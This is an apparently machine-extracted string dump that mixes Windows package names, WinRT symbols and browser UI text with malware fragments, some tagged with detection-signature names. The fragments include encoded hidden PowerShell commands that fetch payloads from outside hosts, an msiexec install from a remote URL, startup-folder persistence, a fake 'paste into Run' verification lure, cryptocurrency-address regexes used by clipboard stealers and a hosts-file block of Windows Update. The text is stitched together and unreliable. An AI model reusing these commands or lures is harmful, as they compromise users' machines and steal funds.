Microsoft-Windows-ConfigCI-Onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
*.wns.windows.com0
*.wns.windows.com0
o$atalhostartup = "$env:appdata\microsoft\windows\start menu\programs\startup\update.lnk"invoke-webrequest -uri $encurl -outfile $encpath$scriptdescriptografia = "$dirbase\update.ps1"$atalho.arguments = "-executionpolicy bypass -windowstyle hidden -file
Win32API|Windows Sockets Version 2|getsockopt|IPX_ADDRESS
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|ServiceName
TcpWindowSize
Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|TcpWindowSize
Win32API|Windows Sockets Version 2|getsockopt|IPX_ADDRESS
("c:\windows\system32\cmd /c ")
c:\windows\system32\printhelp.dat!
c:\windows\system32\fntca
C:\Windows\SysWow64\DXAnimatedGIF.ocaC
MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy
Windows
Windows.AdministrativeTool
DriverData=C:\Windows\System32\Drivers\DriverData
DriverData=C:\Windows\System32\Drivers\DriverData
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4axgbtahmaaabeaf4axgb0af4axgbeageaxgbeaf4axgagaf4axgboaf4axgbeahqadabwahmaxgbeadoalwbeaf4axgavaf4axgbeahuaxgbeaf4abab0ahiaxgbhahyaxgbpaguaxgbeaf4adwbeaf4axgbeaguaxgbeaf4axgbyac4abgbeaf4axgblaf4axgb0af4axgbeahcaxgbeaf4axgbvaf4acgbeaf4aawavahuadwbeaf4axgb3ac4abqbeaf4acaa0af4axgbeaf4axganac4acgblahaababhagmazqaoaccaxganacwajwanackaowbpaguaeaagacgazwbjagiakqa=
CD_D6A110774D0E669ECCEA8B8F93EAA378ED018A6AD79EC89BEE61221345481F90.s::ApplicationModel::AppService::IAppServiceConnection>::SendMessageAsync(const struct winrt::Windows::Foundation::Collections::ValueSet &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse>,struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse> >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceResponse<struct winrt::Windows::ApplicationModel::AppService::IAppServiceResponse>::Status(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceResponse<struct winrt::Windows::ApplicationModel::AppService::IAppServiceResponse>::Message(void) const
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\impl\Windows.Foundation.Collections.0.h
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IMap<struct winrt::Windows::Foundation::Collections::IPropertySet,struct winrt::hstring,struct winrt::Windows::Foundation::IInspectable>::TryLookup(const struct winrt::param::hstring &) const
struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> __cdecl winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection::SendMessageAsync(const struct winrt::Windows::Foundation::Collections::ValueSet,const struct winrt::hstring)
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceClosedEventArgs<struct winrt::Windows::ApplicationModel::AppService::IAppServiceClosedEventArgs>::Status(void) const
struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus> &&__cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> >::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,void>::await_transform<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus>>(struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus> &&)
struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse> &&__cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection &,struct winrt::Windows::Foundation::Collections::ValueSet,struct winrt::hstring>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,void>::await_transform<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse>>(struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse> &&)
struct winrt::Windows::Foundation::Collections::ValueSet __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection &,struct winrt::Windows::Foundation::Collections::ValueSet,struct winrt::hst
C:\WINDOWS\system32\wininit.exe)
OS=Windows_NT
Path=C:\WINDOWS\system32;
C:\WINDOWS\system32\winlogon.exe*
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
OS=Windows_NT
Path=C:\WINDOWS\system32;
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
Windows
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
1.press<b>windows+r</b>toopentherundialog.</p><pclass="instruction-text">2.pastetheverificationtextbypressing<b>ctrl+vc
	s\system32\cmd.exe/c
+VM^c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-encodedcommandkaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8aywbwahiaaqbzag0azqbuaguacgbnagkayqauahaadaavag8acablag4algb0ahgadaanackaiab8acaasqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuaa==
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-encodedcommandkaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8abgblahmalgbjag8acwbtag8acablag8acabsagualgbpag4alwbhahaacaauahqaeab0accakqagahwaiabjag4adgbvagsazqataeuaeabwahiazqbzahmaaqbvag4a
WindowsFeedback
oroqoswindows-manifest-filename 
Windows
M/?setssion==%d%d/?newfrs%dsetssion=%d%d?id1=%dUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)!#ALF:HSTR:Trojan:Win32/Molock.S02
127.0.0.1	windowsupdate.microsoft.com
windows.hlp`
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
--user-data-dir=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
msEdgeWindowsEnergySaverAvailable
msEdgeWindowsEnergySaverAvailable
Windows.Networking.BackgroundTransfer.Internal
Windows.Networking.BackgroundTransfer.Internal
ges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\heavy_ad_intervention_opt_out.db
WINDOWS\ServiceProfiles\Network
=C:\Windows\System32\
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
Windows Produc'
Windows.
Windows.Data.Platform.LocalCache.Cloud
c:\windows\system32
Microsoft.Windows.Compatibility.Asl
	c:\windows\system32\mshta!
Windows
c:\windows\microsoft.net\framework\v4.0.30319\
fcmd.exej-io^c:\windows\system32\cmd.exemonikas/v/c^s^tar^tms^iexecyik^kb=m^sxe^fui/q^n-pa^ck^a^g^e"http://7d.wf:8080/bqb38mbxsja7e7vylvxgli/!computername!"imageres.dll%
Windows.
Windows.
ppowershell-windowstylehidden-command^"iwr-uri"http://95.169.201.100:18960
d5^com.microsoft.windows.app.searchMI
com.microsoft.windows.extensions.xaml.visualassistant
.?AU?$_Task_impl@PE$AAVWebAccountProvider@Credentials@Security@Windows@@@details@Concurrency@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVWebAccountProvider@Credentials@Security@Windows@@@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_339a40bc9a70eb9e6dcfa3d5035edf33>@@XPE$AAU?$IAsyncOperation@PE$AAVStorageFile@Storage@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVStorageFile@Storage@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@V?$vector@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@V?$allocator@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@std@@@std@@@std@@
.?AU__I?$IteratorForVectorView@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@PublicNonVirtuals@Details@Collections@Platform@@
.?AU?$IIterator@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AU?$IVectorView@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
.?AV?$IteratorForVectorView@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Details@Collections@Platform@@
.?AV?$VectorView@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@std@@@Collections@Platform@@
.?AU__I?$VectorView@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@U?$equal_to@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AV?$VectorChangedEventHandler@PE$AAVTargetedContentTriggerStateTransition@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exec
'C:\Users\job\AppData\Local\Microsoft\Windows\WebCache\B
'C:\Users\job\AppData\Local\Microsoft\Windows\WebCache\=
powershell-windowstylehidden-epbypass-command"$a0912ec70334bb9888d1fe34f2008=$env:appdata+'\microsoft\windows\startmenu\programs\startup\a6ee8c157724e7945bfcd9eb64fa3.lnk
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10
z1rdbsystem32b
powershell.exe  -windowstyle hidden $a = Get-Content  'C:\TEMP\vatnisser\Vrdighedskravene\
\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
clf@po:i+00/c:\v1banners@.banners2aquadisassociations.js^.aquadisassociations.js&*..\..\..\..\banners\aquadisassociations.jsc:\windows\explorer.exe%systemroot%\explorer.exe
~~$$ppd$$t$$~~ro$$ming~~microsoft~~windows~~st$$rtmenu~~progr$$ms~~st$$rtup~~upd$$te!!":::::=vba.replace(,"~~","\\"):::::=vba.replace(,"!!",".js"):::::=vba.replac
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.Audio.Client
Microsoft.Windows.Audio.Client.Streaming
Microsoft.Windows.Audio.CrossVmApi
Microsoft.Windows.Audio.PolicyConfig
Microsoft.Windows.Audio.Spatial.Metadata
Microsoft.Windows.Audio.Spatial.CrossProcess
Microsoft.Windows.Audio.CrossProcess
Microsoft.Windows.Audio.License
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.Audio.LoopbackMixer
Microsoft-Windows-Runtime-Metadata-Desktop-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
system32\drivers\asyncmac.syss
windows beep servicew
N\Microsoft\Windows\Start Menu\Programs\Startup\Update.exe(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$0x[a-fA-F0-9]{40}$[LM][a-km-zA-HJ-NP-Z1-9]{26,33}$[4|8]([0-9]|[A-B])(.){93}T[A-Za-z1-9]{33}
Microsoft-Windows-Container-Policy-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetSt
WindowsCreateStringReference
WindowsDeleteString
WindowsCreateString
WindowsGetStringLen
WindowsCompareStringOrdinal
EnumWindows
api-ms-win-core-windowserrorreporting-l1-1-0.dll
\windows\currentversion\run"-
Flappy_Bird_Windows_Form
e"http://a0716572.xsph.ru/intent.mp3%systemroot%\system32\comres.dll
C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\VMware\VMware Tools\suspend-vm-default.bat""
Windows
Windows
%programfiles(x86)%\windows mail
%programfiles(x86)%\Windows Media Player
%programfiles(x86)%\windows nt\accessories\wordpad.exe
%programfiles(x86)%\Slido\Slido for Windows\x64\CefSharp.BrowserSubprocess.exe
%programfiles(x86)%\WindowsApps\Microsoft.WindowsNotepad_*\Notepad\Notepad.exe
OS=Windows_NT
onecore\base\gendrv\silos\container\windows_api_wrappers.cpp
Microsoft.Windows.Containers.Library
Microsoft.Windows.Cortana_cw5n1h2txyewy!
\\WINDOWS11
windowstylehidden-executionQ>
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
Windows::TypeSafeHandle::Provider::Rtl::RtlRegisterTypeSafeHandleType
77^windows.appExtension
79^windows.barcodeScannerProvider
windows.barcodeScannerProvider
79^windows.barcodeScannerPreviewProvider
{"queryUrl":"/settings/v3.0/WindowsConfiguration/RuntimeConfiguration"}
{"queryUrl":"/settings/v3.0/WindowsApps/GuidedSetup","settings":{"TRIGGERS":{"version":1.0,"experiences":[{"experience":"GETSTARTED","variants":[{"id":"newDevice","navmesh":"https://sdx.microsoft.com/frx/navigation/gsnewdevicesv2","triggers":[{"type":"MaxDaysSinceOobe","param":30}]},{"id":"oldDevice","navmesh":"https://sdx.microsoft.com/frx/navigation/gsolddevicesv2","triggers":[{"type":"MinDaysSinceOobe","param":30}]}]}]}}}
WindowsCreateStringReference
GetProcessWindowStation
WindowsDeleteString
WindowsGetStringRawBuffer
CreateWindowStationW
SetProcessWindowStation
CloseWindowStation
Software\Microsoft\Windows\CurrentVersion\Uninstall\
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
C:\Windows\Temp\
/C start C:\Windows\Temp\
Windows
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsDuplicateString
api-ms-win-core-windowserrorreporting-l1-1-1.dll
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsDuplicateString
WindowsCreateStringReference
Windows.StateRepository.dll
onecoreuap\shell\windows.storage\storageprovidercustomstates.cpp
&echo activating microsoft software products for free&echoif %i%==1 set kms_sev=cscript //nologo c:\windows\system32\slmgr.vbs
Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
 @Windows.Data.UnifiedTile.LocalStartTileProperties
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
&@Windows.Data.UnifiedTile.RoamedTilePropertiesMap
 @Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
(@Windows.Data.UnifiedTile.LocalStartTilePropertiesMap
 @Windows.Data.UnifiedTile.LocalStartGlobalProperties
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @ItemReference<Windows.Data.CuratedTileCollection.Tile>
(@CloudData.WindowsClient.DisableSyncOnActivityFeed
 @ItemReference<Windows.Data.CuratedTileCollection.Group>
 @Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
 @Windows.Data.UnifiedTile.GamesListTileProperties
(@ItemReference<Windows.Data.CuratedTileCollection.Root>
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe
UMicrosoft.Windows.Photos_8wekyb3d8bbwe
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe
UMicrosoft.WindowsCamera_8wekyb3d8bbwe
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe4
UMicrosoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoftWindows.CrossDevice_cw5n1h2txyewy/
76Windows/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
 Windows 
Microsoft.Windows.Photos_8wekyb3d8bbwel
QMicrosoft.WindowsCalculator_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow
PSModulePath=C:\Program Files\WindowsPowerShell\.
s;C:\WINDOWS\system32.
SLGetWindowsInformationDWORD
WindowsDeleteString
WindowsConcatString
WindowsCreateStringReference
WindowsGetStringRawBuffer
rMyHMkHwufgYCyHCLBQkVLaeGkHm.dllWindowsFormsAppZeitgeist!#ALF:Y2V:Florian_Roth/IMPLANT_4_v3_AlternativeRule
WindowsForms10.tooltips_class32.app.0.129c866_r7_ad1
dEventHandler@Xaml@UI@Windows@winrt@@V<lambda_13>@?O@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_13>@?O@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_14>@?P@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_14>@?P@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_12>@?N@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_12>@?N@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_13>@?O@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_12>@?N@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AU?$delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_11>@?M@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AU?$implements_delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_10>@?L@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AU?$implements_delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_11>@?M@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AV<lambda_11>@?M@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_9>@?9??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_9>@?9??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_10>@?L@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@V<lambda_10>@?L@??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.FileSystem.ReFS
Microsoft.Windows.FileSystem.ReFS
Microsoft.Windows.Security.EFS.EfsLibAggregate
Microsoft.Windows.Security.EFS.EfsLib
Microsoft.Windows.EFS.EFSRPC
Microsoft.Windows.EDP.Enforcement
Microsoft.Windows.TlgAggregateInternal
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-ShellLauncher-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Notepad-System-FoD-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Runlevel-Win4-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
